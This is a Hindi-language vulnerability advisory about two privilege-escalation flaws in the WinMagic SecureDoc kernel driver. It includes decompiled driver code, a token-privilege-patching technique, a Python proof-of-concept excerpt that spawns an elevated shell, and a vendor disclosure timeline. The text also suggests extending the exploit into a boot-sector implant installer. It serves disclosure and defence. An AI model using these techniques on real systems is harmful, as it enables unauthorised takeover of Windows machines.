CVE-2020-11519 और CVE-2020-11520 पर तकनीकी विवरण

दिनांक: जून 2020

लेखक: डेनिस एल्सर (कोड: github)

विषय-सूची

परिचय
दृष्टिकोण और तकनीकी विवरण
- CVE-2020-11519
- CVE-2020-11520
प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट
प्रकटीकरण समयरेखा
समाधान
चेकसम
संदर्भ

परिचय

अपने वेब प्रतिनिधित्व के संदर्भ में, Winmagic SecureDoc "व्यवसायों को अपने आईटी वातावरण की सुरक्षा से कुशलतापूर्वक निपटने की अनुमति देता है, जिसमें निम्नलिखित विशेषताएं शामिल हैं: फुल डिस्क एन्क्रिप्शन (FDE), मल्टी-फैक्टर प्रमाणीकरण, हटाने योग्य मीडिया कंटेनर एन्क्रिप्शन (RMCE) और फ़ाइल और फ़ोल्डर एन्क्रिप्शन (FFE)। ये विशेषताएं व्यवसायों को सुरक्षा बढ़ाने, व्यावसायिक जोखिम कम करने और हार्ड ड्राइव एन्क्रिप्शन के लिए सरकारी और नियामक आवश्यकताओं को पूरा करने में मदद करती हैं।"

Winmagic SecureDoc उत्पाद, जो स्टैंडअलोन और एंटरप्राइज़ संस्करणों में उपलब्ध है, दो स्थानीय विशेषाधिकार वृद्धि भेद्यताओं (CVE-2020-11519 और CVE-2020-11520) से संस्करण 8.3 और 8.5 में प्रभावित है। विभेद्यताओं की सूचना मार्च के अंत में Winmagic को दिए जाने के बाद, विक्रेता ने जून 2020 के मध्य में एक पैच (संस्करण 8.5SR2) जारी किया। हालाँकि, यह पैच विभेद्यताओं को अपर्याप्त रूप से संबोधित करता पाया गया, जिससे संस्करण 8.5SR2 भी रिपोर्ट की गई कमजोरियों के प्रति संवेदनशील हो गया। हालाँकि इस कारण से विभेद्यताओं के तकनीकी विवरण रोके गए थे, तब से इन कमजोरियों को सार्वजनिक माना जाना है। विक्रेता के अनुसार, Winmagic को प्रारंभिक भेद्यता रिपोर्ट के लगभग 106 दिनों के बाद भी एक और पैच बनने की प्रक्रिया में था। 15 जुलाई को, विक्रेता को प्रारंभिक भेद्यता रिपोर्ट के 111 दिनों के बाद, Winmagic ने ग्राहकों के लिए SecureDoc v8.5 SR2 HF1 जारी किया, जो कथित तौर पर CVE-2020-11519 और CVE-2020-11520 को ठीक करता है। SecureDoc के 8.3 से पुराने संस्करणों का परीक्षण नहीं किया गया है, लेकिन प्रभावित घटक के कोड के आधार पर उनके भी प्रभावित होने की संभावना मानी जा सकती है

इनमें से किसी भी भेद्यता का सफल शोषण स्थानीय रूप से प्रमाणित हमलावरों के लिए विशेषाधिकारों को SYSTEM तक बढ़ाने की ओर ले जाएगा।

दृष्टिकोण और तकनीकी विवरण

दोनों भेद्यताएं "SDDisk2k.sys" घटक को प्रभावित करती हैं, जो Winmagic SecureDoc उत्पाद के साथ आने वाला एक कर्नेल ड्राइवर है। सुरक्षा दोषों की पहचान Hex-Rays IDA Pro डिसअसेंबलर और डीकंपाइलर की सहायता से मैन्युअल स्थैतिक विश्लेषण द्वारा की गई थी। पूर्वव्यापी रूप से, यदि इसके बजाय फज़िंग जैसे गतिशील परीक्षण दृष्टिकोण लागू किए गए होते तो कमजोरियों को काफी कम प्रयास में खोजा जा सकता था। ऐसा इसलिए है क्योंकि ड्राइवर को सीमित यूज़र-मोड अनुप्रयोगों से इंटरफ़ेस किया जा सकता है और क्योंकि यह डिफ़ॉल्ट रूप से उनके इनपुट को अच्छी तरह से निर्मित मानता है।

CVE-2020-11519

"SDDisk2k.sys" ड्राइवर द्वारा "SecureDocDevice" डिवाइस ऑब्जेक्ट के असुरक्षित निर्माण और उपयुक्त सुरक्षा डिस्क्रिप्टर स्थापित करने वाले कोड की कमी के कारण, सीमित उपयोगकर्ता खातों को भी CreateFile() API फ़ंक्शन का उपयोग करके डिवाइस का हैंडल प्राप्त करने की क्षमता दी जाती है। ड्राइवर द्वारा यूज़र-मोड एप्लिकेशन को अपने डिवाइस ऑब्जेक्ट का हैंडल प्रदान करने के साथ, यह कर्नेल क्षेत्र में अपने हमले की सतह के लिए सीधा रास्ता खोलता है।``` c RtlInitUnicodeString(&DestinationString, L"\Device\SecureDocDevice"); RtlInitUnicodeString(&SymbolicLinkName, L"\DosDevices\SecureDocDevice"); if ( IoCreateDevice(v1, 0xDD8u, &DestinationString, 0x8D1Fu, 0, 0, &DeviceObject) >= 0 ) // <--- unsafe { memset(DeviceObject->DeviceExtension, 0, 0xDD8ui64); DeviceObject->Flags |= 4u; DeviceObject->AlignmentRequirement = 0; if ( IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString) < 0 ) IoDeleteDevice(DeviceObject); IoObject = DeviceObject; }

'SDDisk2k.sys' ड्राइवर के कई [IOCTL](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-i-o-control-codes) सेवा हैंडलरों का रिवर्स इंजीनियरिंग करने के बाद, यह पाया गया कि उनमें से एक यूज़र मोड के लिए महत्वपूर्ण कार्यक्षमता उजागर करता है, जिसमें यह डिज़ाइन के अनुसार किसी भी ड्राइव के कच्चे डिस्क सेक्टरों पर रीड और राइट संचालन की अनुमति देता है। इसके अलावा, इसी कोड के साथ इंटरफ़ेस करने पर यह देखा गया कि ड्राइवर किसी भी एक्सक्लूसिव लॉक को अनदेखा करता है जो पहले किसी ड्राइव पर सेट किया गया हो सकता है। परिणामस्वरूप, समवर्ती रीड/राइट संचालन संभव हो जाते हैं, जो रेस कंडीशन को सुगम बनाता है और डेटा हानि का जोखिम पैदा करता है।

निम्नलिखित ड्राइवर के डीकंपाइल किए गए IOCTL सेवा हैंडलर को दिखाता है जो कच्चे डिस्क सेक्टरों की रीड अनुरोधों को संभालने के लिए जिम्मेदार है। यह "controlled_buf" तर्क के साथ sub_29CD4() फ़ंक्शन को कॉल करता है, जो एक बफर की ओर संकेतक है जिसकी सामग्री किसी भी कॉल करने वाले यूज़र मोड एप्लिकेशन द्वारा मनमाने ढंग से चुनी जा सकती है:``` c
if ( ioctlcode == 0x8D1F2824 )   // <--- I/O control code for raw disk reading functionality
{
  controlled_buf = (unsigned __int8 *)controlled_addr;
  mode = 0;
  temp_result = sub_29CD4((char *)controlled_buf, v3, mode);   // <--- call to raw disk read function

दरअसल, यह attacker-नियंत्रित बफ़र एक संरचना है जिसके फ़ील्ड "offset", "length" और "ptr_buf" पूरी तरह से अनियंत्रित फ़ंक्शन तर्क हैं, जो IoBuildSynchronousFsdRequest() की कॉल में पास किए जाते हैं। यह अंतिम फ़ंक्शन एक IRP_MJ_READ I/O अनुरोध पैकेट (IRP) तैयार करता है, जिसे वह IofCallDriver() की कॉल का उपयोग करके अंतर्निहित फ़ाइल सिस्टम ड्राइवर को भेजता है:``` c __int64 __fastcall sub_29CD4(char *controlled_addr, PIRP a2, char mode) { //[...snip...] // extract drive number and type (floppy/hd) from offset 0 devicetype_and_num = (unsigned __int8)*controlled_buf // <--- controllable from user mode

// advance pointer p = controlled_buf + 1;

// build device name if ( (devicetype_and_num & 0x80u) == 0 ) v11 = vsnprintf_wrapper(&device_name, 0x3Fui64, L"\Device\Floppy%d", devicetype_and_num); else v11 = vsnprintf_wrapper(&device_name, 0x3Fui64, L"\Device\Harddisk%d\Partition0", devicetype_and_num & 0x7F); v12 = v11; if ( v11 >= 0 ) { RtlInitUnicodeString(&DestinationString, &device_name);

// get object pointer of drive
if ( IoGetDeviceObjectPointer(&DestinationString, 0x80u, &FileObject, &DeviceObject) >= 0
  || (v12 = sub_2C5D4(&DestinationString, &DeviceObject), v12 >= 0) )
{
  // extract further fields from structure
  offset = *(_QWORD *)(p + 0x4E);                    // <--- where to start reading from
  length = *(_DWORD *)(p + 0x56);                    // <--- number of bytes to read
  ptr_buf = *(void **)(p + 0x5A);                    // <--- ptr to destination buffer
  devobj = DeviceObject;
  StartingOffset.QuadPart = offset << 9;
  KeInitializeEvent(&Event, NotificationEvent, 0);
  
  // build request
  v17 = IoBuildSynchronousFsdRequest(
          (unsigned int)(mode != 0) + IRP_MJ_READ,   // <--- issue read request
          devobj,
          ptr_buf,
          length << 9,
          &StartingOffset,
          &Event,
          &IoStatusBlock);
  v18 = v17;
  if ( v17 )
  {
    v19 = v17->Tail.Overlay.CurrentStackLocation;
    if ( mode )
      v19[0xFFFFFFFF].Flags |= 0x10u;
    ObfReferenceObject(devobj);

    // send request to respective device object (issue read request)
    v12 = IofCallDriver(devobj, v18);

//[...snip...] }

जिस तरह रॉ डिस्क सेक्टर पढ़ना संभव है, उसी तरह यूज़र मोड से डिस्क सेक्टर लिखना IOCTL हैंडलर 0x8D1F2820 को कॉल करके संभव बनाया जाता है, जो समान डेटा संरचना को प्रोसेस करता है और समान तरीके से लागू किया गया है। इस ड्राइवर के प्रोटोकॉल के साथ संगतता को देखते हुए, ऐसा कुछ भी नहीं है जो मनमाने यूज़र मोड एप्लिकेशन को ऑपरेटिंग सिस्टम से पूरी तरह समझौता करने से रोक सके। जब तक कि सुरक्षित बूट तंत्र द्वारा सुरक्षा न की गई हो, इसमें उन सॉफ़्टवेयरों की स्थापना भी शामिल है जिन्हें सिस्टम के बूट प्रक्रिया के दौरान सबसे पहले चलने की अनुमति है (रैंसमवेयर, बूटकिट, कस्टम इम्प्लांट...)।

### CVE-2020-11520

"SDDisk2k.sys" ड्राइवर के सर्विस हैंडलरों की आगे की जांच से पता चला कि यूज़र मोड एप्लिकेशन के मेमोरी एड्रेस पूर्व सत्यापन के बिना संसाधित किए जाते हैं। कुछ मामलों में, इन पॉइंटर्स द्वारा एक्सेस की गई मेमोरी में ड्राइवर द्वारा आँख बंद करके लिखा जाता है, जिसका दुरुपयोग हमलावर कर्नेल राइट प्रिमिटिव बनाने के लिए कर सकते हैं। जहाँ सभी राइट प्रिमिटिव डेटा को **कहाँ** लिखना है, इसका सीधा नियंत्रण देते हैं, वहीं दुर्भाग्य से कोई भी ऐसा नहीं मिला जो **क्या** डेटा लिखना है, इसका सीधा नियंत्रण दे सके। [CVE-2020-11519](#cve-2020-11519) के अपवाद के साथ, जिसका इस संदर्भ में शोषण करने के लिए डिस्क रीड/राइट ऑपरेशनों के माध्यम से एक अतिरिक्त चक्कर लगाने की आवश्यकता होगी, जिसे मैं एक गंदा तरीका मानता हूँ और इसलिए टालना चाहता था। हालाँकि, एक विशेष हैंडलर की पहचान की गई जिसने सच में डेटा को नियंत्रित करने की अनुमति नहीं दी, लेकिन फिर भी वह अन्य माध्यमों से पुनः उपयोग किए जाने के लिए पर्याप्त साबित हुआ।

नीचे डीकंपाइल किया गया कोड IOCTL कोड 0x8d1f282c के लिए ड्राइवर के सर्विस हैंडलर को दर्शाता है। यह उपयोगकर्ता-नियंत्रित बफर से एक 16-बिट पूर्णांक संख्या "count" लेता है, फिर सुनिश्चित करता है कि यह एक निश्चित सीमा से अधिक न हो। अंत में, एक पॉइंटर "dst" उसी नियंत्रित इनपुट बफर से प्राप्त किया जाता है, लेकिन memmove() के बाद के कॉल में तर्क के रूप में पारित होने से पहले इसकी वैधता की जाँच कभी नहीं की जाती। मेरी शुरुआती निराशा के लिए, "src" बफर जो memmove() को तर्क के रूप में दिया जाता है, नियंत्रित नहीं है बल्कि एक हार्डकोडेड स्ट्रिंग ("FRNSecureDoc v4.1\0") की ओर इशारा करता है, जो शोषण के लिए इसकी उपयोगिता को कुछ हद तक सीमित करता है। जाहिर है, यह सर्विस हैंडलर एक उपयोगकर्ता-निर्दिष्ट एड्रेस में एक संस्करण पहचानकर्ता लिखता है, जिसका दुरुपयोग Winmagic SecurDoc के कमजोर संस्करणों की फिंगरप्रिंटिंग के लिए भी किया जा सकता है।``` c
// handler for I/O control code 0x8d1f282c

// get "count" from controlled buffer
count = *((_WORD *)controlled_buf + 5);

// if count is zero, return error
if ( !count )
{
  *((_WORD *)controlled_buf + 5) = 0x13;
  goto leave_dispatcher;
}

// otherwise further sanitize and limit "count"
if ( count >= 0x12u )
  count = 0x11;

// bug! controlled pointer, passed from userland!
dst = *(void **)(controlled_buf + 2);
src = aFrnsecuredocV4;   // <--- 'FRNSecureDoc v4.1',0

// unchecked write!
memmove(dst, src, count);
goto leave_dispatcher;

हालाँकि, इस पूर्ण रूप से नियंत्रित "dst" पते को कर्नेल स्पेस में किसी उपयुक्त स्थान पर इंगित करना इस IOCTL हैंडलर का पुनः उपयोग करता है और इसे कर्नेल राइट प्रिमिटिव में बदल देता है। [1] और [2] के संदर्भ में, इस सर्विस हैंडलर को "dst" के साथ कॉल करना जो किसी प्रक्रिया के टोकन के कर्नेल एड्रेस की ओर इंगित करता है, या अधिक सटीक रूप से, ऑफसेट 0x40 पर स्थित उसके "Privileges" सदस्य की ओर, बढ़े हुए विशेषाधिकारों का कारण बन सकता है :)``` 0: kd> dt nt!_token ffffe40955f766b0 +0x000 TokenSource : _TOKEN_SOURCE +0x010 TokenId : _LUID +0x018 AuthenticationId : _LUID +0x020 ParentTokenId : _LUID +0x028 ExpirationTime : _LARGE_INTEGER 0x7fffffffffffffff +0x030 TokenLock : 0xffffd20ff9adee10 _ERESOURCE +0x038 ModifiedId : _LUID +0x040 Privileges : _SEP_TOKEN_PRIVILEGES [...snip...]

0: kd> dt nt!_SEP_TOKEN_PRIVILEGES ffffe40955f766b0+0x40 +0x000 Present : 0x00000006`02880000 +0x008 Enabled : 0x800000 +0x010 EnabledByDefault : 0x40800000

SEP_TOKEN_PRIVILEGES संरचना बिटमास्क का एक समुच्चय है, जिसमें प्रत्येक बिट एक विशेषाधिकार फ़्लैग को दर्शाता है। तार्किक परिणाम के रूप में, SecureDoc ड्राइवर से उसकी वर्शन स्ट्रिंग "FRNSecureDoc v4.1\0" के कुछ हिस्सों को प्रोसेस टोकन की SEP_TOKEN_PRIVILEGES संरचना में संग्रहीत करने के लिए विनम्रतापूर्वक अनुरोध करने पर कुछ बिट्स पलट जाने चाहिए और उम्मीद है कि उपयोगी विशेषाधिकार सक्षम हो जाएँ, कम से कम काल्पनिक रूप से। जैसा कि पता चलता है, ड्राइवर द्वारा अपनी वर्शन स्ट्रिंग के पहले दो अक्षरों को SEP_TOKEN_PRIVILEGE संरचना के "Present" फ़ील्ड के ऑफ़सेट 1 और 2 में संग्रहीत करने से कई दिलचस्प टोकन विशेषाधिकार सेट हो जाते हैं। "**F**RNSecureDoc v4.1\0" से लिया गया '**F**' अक्षर 01000110 के बराबर है और इसलिए यह "Present" फ़ील्ड के बिट 9 (SeTakeOwnershipPrivilege), बिट 10 (SeLoadDriverPrivilege) और बिट 14 (SeIncreaseBasePriorityPrivilege) को सेट करता है। '**R**' अक्षर 01010010 के बराबर है, जो बिट 17 (SeBackupPrivilege), बिट 20 (SeDebugPrivilege) और बिट 22 (SeSystemEnvironmentPrivilege) को सेट करता है:

| बिट संख्या ("Present") | अक्षर | बाइट         | विशेषाधिकार |
| :--------------: | :-------: | ------------ | --------- |
| 8                | 'F'       | 0100011**0** | SeSecurityPrivilege |
| 9                | 'F'       | 010001**1**0 | **SeTakeOwnershipPrivilege** |
| 10               | 'F'       | 01000**1**10 | **SeLoadDriverPrivilege** |
| 11               | 'F'       | 0100**0**110 | SeSystemProfilePrivilege |
| 12               | 'F'       | 010**0**0110 | SeSystemtimePrivilege |
| 13               | 'F'       | 01**0**00110 | SeProfileSingleProcessPrivilege |
| 14               | 'F'       | 0**1**000110 | **SeIncreaseBasePriorityPrivilege** |
| 15               | 'F'       | **0**1000110 | SeCreatePagefilePrivilege |
| 16               | 'R'       | 0101001**0** | SeCreatePermanentPrivilege |
| 17               | 'R'       | 010100**1**0 | **SeBackupPrivilege** |
| 18               | 'R'       | 01010**0**10 | SeRestorePrivilege |
| 19               | 'R'       | 0101**0**010 | SeShutdownPrivilege |
| 20               | 'R'       | 010**1**0010 | **SeDebugPrivilege** |
| 21               | 'R'       | 01**0**10010 | SeAuditPrivilege |
| 22               | 'R'       | 0**1**010010 | **SeSystemEnvironmentPrivilege** |
| 23               | 'R'       | **0**1010010 | SeChangeNotifyPrivilege |

## प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट
एक [प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट](https://github.com/patois/winmagic_sd/blob/master/sd_poc.py) Python में विकसित किया गया है और [Microsoft के WinDbg कर्नेल डीबगर](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-toolsk) की सहायता से डीबग किया गया है, जो x64 Windows 10 VM से जुड़ा हुआ है।

यह PoC एक्सप्लॉइट वर्तमान प्रक्रिया के सुरक्षा टोकन का कर्नेल पता प्राप्त करता है और, अन्य चीजों के अलावा, वर्णित कमजोरियों का शोषण करके SeDebugPrivilege विशेषाधिकार को सक्षम करता है। फिर यह एक कमांड शेल स्पॉन करता है जो टोकन के नए बढ़ाए गए विशेषाधिकारों को इनहेरिट करता है।

SeDebugPrivilege फ़्लैग सेट होने पर शेलकोड को SYSTEM प्रक्रिया के संदर्भ में इंजेक्ट करना और चलाना संभव हो जाएगा - हालाँकि, यह हिस्सा मैं आप पर छोड़ता हूँ ;)``` python
token_addr = sdi.get_token_obj()
if not token_addr:
    print("[!] Could not get address of token")
    sdi.close()
    return

print("[+] Got token object: %x" % token_addr)
print("[+] Patching token")
sdi.acquire_debug_privs(token_addr)
sdi.close()

os.system("cmd.exe")

किसी के भी डेटा को जोखिम में डालने से बचने के लिए, इस PoC एक्सप्लॉइट के सार्वजनिक संस्करण में CVE-2020-11519 का उपयोग करके रॉ डिस्क सेक्टरों से पढ़ने/लिखने के लिए कोई सक्रिय कोड शामिल नहीं किया गया है। फिर भी, अगर disk_read_raw() और disk_write_raw() फ़ंक्शनों के कॉल जोड़ दिए जाएँ, तो इसे आसानी से उस किसी भी कोड के लिए इंस्टॉलर में बदला जा सकता है जिसे आप अपने बूट सेक्टर में चलाना चाहते हैं। इम्प्लांट इंस्टॉल करने के विकल्प के रूप में tetros का एक राउंड इंस्टॉल करके खेलने के बारे में क्या ख्याल है? ;)

निम्नलिखित क्रमशः Proof-of-Concept एक्सप्लॉइट चलाने से पहले और बाद में वर्तमान प्रक्रिया के टोकन विशेषाधिकारों को दर्शाता है।``` C:\Users\re>whoami /priv

PRIVILEGES INFORMATION

Privilege Name Description State ============================= ==================================== ======== SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking station Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled

C:\Users\re>python3 sd_poc.py

EoP PoC for WinMagic SecureDoc 8.5

C:\Users\re>whoami /priv

PRIVILEGES INFORMATION

Privilege Name Description State =============================== ======================================== ======== SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled SeLoadDriverPrivilege Load and unload device drivers Enabled SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled SeBackupPrivilege Back up files and directories Enabled SeDebugPrivilege Debug programs Enabled SeSystemEnvironmentPrivilege Modify firmware environment values Enabled SeUndockPrivilege Remove computer from docking station Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled

PoC एक्सप्लॉइट कोड [यहाँ](https://github.com/patois/winmagic_sd/blob/HEAD/sd_poc.py) पाया जा सकता है। यह Winmagic SecureDoc x64 के v8.5 को लक्षित करता है लेकिन पुराने संस्करणों पर काम कर सकता है (अपरीक्षित)।

यदि आप यहाँ तक पहुँचे हैं लेकिन फिर भी बहुत ऊबे हुए हैं, तो बेझिझक IOCTL कोड 0x8D1F2848 डायल करें ;)``` c
case 0x8D1F2848:
  DbgPrint("SDDEV_IO_BLUE_SCREEN comes in ...");
  if ( *(_WORD *)controlled_buf == 0x55AA
    && *(_QWORD *)(controlled_buf + 2)
    && *((_WORD *)controlled_buf + 5) == 4 )
  {
    StartContext = ExAllocatePoolWithTag(PoolType, 4ui64, 'gaMW');
    if ( !StartContext )
    {
      KeSetPriorityThread(KeGetCurrentThread(), 0x1F);
      KeBugCheckEx(0xE2u, 0x2D8ui64, **(unsigned int **)(controlled_buf + 2), 0i64, 'WM');
    }
    DbgPrint("SDDEV_IO_BLUE_SCREEN preps ...");
    *StartContext = **(_DWORD **)(controlled_buf + 2);
    if ( PsCreateSystemThread(
            &ThreadHandle,
            0x1FFFFFu,
            0i64,
            0i64,
            0i64,
            (PKSTART_ROUTINE)sub_23948,
            StartContext) < 0 )
      ExFreePoolWithTag(StartContext, 0);
    else
      ZwClose(ThreadHandle);
  }

प्रकटीकरण समयरेखा```

Date | Comment

2020-03-27 | Shared vulnerability report with Winmagic representative 2020-03-28 | Winmagic confirmed receipt of vulnerability report 2020-04-04 | Shared CVE IDs CVE-2020-11519 and CVE-2020-11520 with Winmagic 2020-04-22 | Winmagic gave an estimated ETA of fix within 60-90 days 2020-06-14 | Winmagic shared pre-release of SecureDoc v8.5SR2 for testing 2020-06-17 | Informed Winmagic the fix doesn't properly address the vulnerabilities 2020-06-18 | Winmagic informed that SecureDoc v8.5SR2 had already been publicly released | in the meantime. According to this version's release notes, CVE-2020-11519 | and CVE-2020-11520 are addressed ("SD-34145: Windows Client Security | Vulnerability Report"). Winmagic representative asked whether holding back | information about the vulnerabilities was an option till the next scheduled | release date in autumn, in favour of a proper fix 2020-06-19 | Informed Winmagic about the common 90-days disclosure deadline and that | postponing a proper fix for incorrect but already released bugfixes | would put users at risk even more so 2020-06-19 | Winmagic informed that a hotfix for the flawed v8.5SR2 patch of | SecureDoc is being worked on, no ETA given 2020-06-22 | Asked for ETA of the hotfix 2020-06-23 | Winmagic provided information about an intended release of a hotfix within | a two week time frame, starting with the passing of the 90-days deadline 2020-06-30 | Asked Winmagic about the current status 2020-06-30 | Winmagic assured that a fix would be made available before 2020-07-08 2020-07-08 | Winmagic informed about delay of release to 2020-07-09 or 2020-07-10, latest 2020-07-10 | Public release of this information, no public fix available (106 days) 2020-07-15 | Winmagic released SecureDoc v8.5 SR2 HF1 (111 days)

## समाधान
Winmagic SecureDoc v8.5 SR2 HF1 में अपडेट करें।

## चेकसम
| फ़ाइल नाम             | संस्करण | हैश (SHA-256) |
| -------------------- | ------- | -------------- |
| SDDisk2k.sys (64bit) | 8.3.717 | 98D29D28BB9552D20BC78EB0BD12A57B921167565F3E47919EC2D61F24DA9241 |
| SDDisk2k.sys (64bit) | 8.5.445 | 1D9054C4B49267EEF63B2EB11EC563E036F9E6E2AC18D32597FA769934BB7E18 |

## संदर्भ
1. [LPE के लिए टोकन विशेषाधिकारों का दुरुपयोग](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt)
2. [Windows 8.1 पर CVE-2014-4113 का शोषण](http://jodeit.org/research/Exploiting_CVE-2014-4113_on_Windows_8.1.pdf)
3. [आसान स्थानीय Windows कर्नेल शोषण](https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf)
4. [मेरे पास 99 समस्याएँ हैं, लेकिन कर्नेल पॉइंटर उनमें से एक नहीं है](https://recon.cx/2013/slides/Recon2013-Alex%20Ionescu-I%20got%2099%20problems%20but%20a%20kernel%20pointer%20ain%27t%20one.pdf)
5. [लीक हुए प्रोसेस और थ्रेड हैंडल्स का शोषण](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)
6. [ctypes का उपयोग करके NtQuerySystemInformation को कॉल करने पर Sourceforge चर्चा](https://sourceforge.net/p/ctypes/mailman/message/34578496/)
7. [SecureDoc v8.5SR2 रिलीज़ नोट्स](https://www.winmagic.com/support/release-notes/securedoc-v8-5-sr2)

winmagic_sd

सबसे लोकप्रिय

CVE-2020-11519 और CVE-2020-11520 पर तकनीकी विवरण

विषय-सूची

परिचय

दृष्टिकोण और तकनीकी विवरण

CVE-2020-11519

PRIVILEGES INFORMATION

PRIVILEGES INFORMATION

प्रकटीकरण समयरेखा```

Date | Comment